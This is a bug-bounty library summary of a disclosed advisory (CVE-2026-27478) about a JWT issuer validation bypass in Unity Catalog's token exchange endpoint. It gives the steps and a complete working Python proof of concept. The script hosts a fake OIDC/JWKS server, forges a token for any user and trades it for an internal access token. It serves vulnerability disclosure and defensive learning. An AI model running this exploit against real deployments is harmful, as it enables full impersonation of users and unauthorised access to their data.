# Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation

Unity Catalog token exchange trusted the JWT iss claim to fetch JWKS, so an attacker's self-hosted OIDC server yields tokens impersonating any user.

- Payout: Research
- Severity: critical
- Program: Unity Catalog
- Found by: lukas-reining
- Disclosed: 2026-05-11
- CVE: CVE-2026-27478
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qqcj-rghw-829x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qqcj-rghw-829x
- Tags: area:web domain:api impact:ato impact:internal-access kind:research platform:ghsa sev:critical tech:jwt tech:oauth tech:oidc technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Token exchange endpoint /api/1.0/unity-control/auth/tokens
**Root cause:** The endpoint extracts the iss claim from the submitted JWT and dynamically fetches that issuer's JWKS for signature validation without checking the issuer against a trusted IdP allowlist; the aud claim is also unvalidated.
**Steps:**
1. Generate an RSA keypair and host a minimal OIDC server exposing `/.well-known/openid-configuration` with `jwks_uri` and a `/jwks` endpoint returning the public key.
2. Sign an RS256 JWT with `iss` set to the attacker server, `sub`/`email` set to the target user, `aud` set to `unity-catalog`, and matching `kid`.
3. POST the token to `/api/1.0/unity-control/auth/tokens` with `grant_type=urn:ietf:params:oauth:grant-type:token-exchange`, `subject_token_type=urn:ietf:params:oauth:token-type:id_token`, and `subject_token=<crafted JWT>`.
4. Receive a valid internal `access_token` for the target user and call `/api/2.1/unity-catalog/catalogs` with `Authorization: Bearer <access_token>`.
**How found:** Code review of the token exchange flow revealed the iss claim was used to dynamically resolve the JWKS URI with no trusted-issuer check, and aud was never verified.
**Exploitation:** Attacker hosts their own OIDC discovery/JWKS endpoint, signs a JWT with their private key claiming any known user's sub/email, and exchanges it at the token endpoint for a legitimate internal access token, gaining that user's full permissions across catalogs, schemas and tables.
**Escalation:** Impersonating an admin user would grant control over all catalogs and resources; unvalidated aud also allows tokens minted for other services to be replayed.
**Insight:** In token-exchange/OIDC implementations, check whether the issuer is used to *discover* the JWKS rather than being matched against a configured allowlist — self-hosted discovery endpoints turn signature validation into attacker-controlled trust.

## Proof of concept (copied exactly from the original report)

**PoC script forging JWT and exchanging token**

```
#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""

import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify

TARGET_USER = "user@example.com"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"

# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)

# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}

# Create malicious JWT
token = jwt.encode(
    {"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
     "iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
    algorithm="RS256", headers={"kid": kid}
)

# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True

@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})

@app.route("/jwks")
def keys(): return jsonify(jwks)

threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)

# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
                     data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
                           "requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
                           "subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
                           "subject_token": token})

if resp.status_code == 200:
    access_token = resp.json()["access_token"]
    print(f"[+] Got access token as '{TARGET_USER}'")
    # Demo: list catalogs
    catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
                            headers={"Authorization": f"Bearer {access_token}"})
    print(catalogs.json())
else:
    print(f"[-] Failed: {resp.status_code} {resp.text}")
```

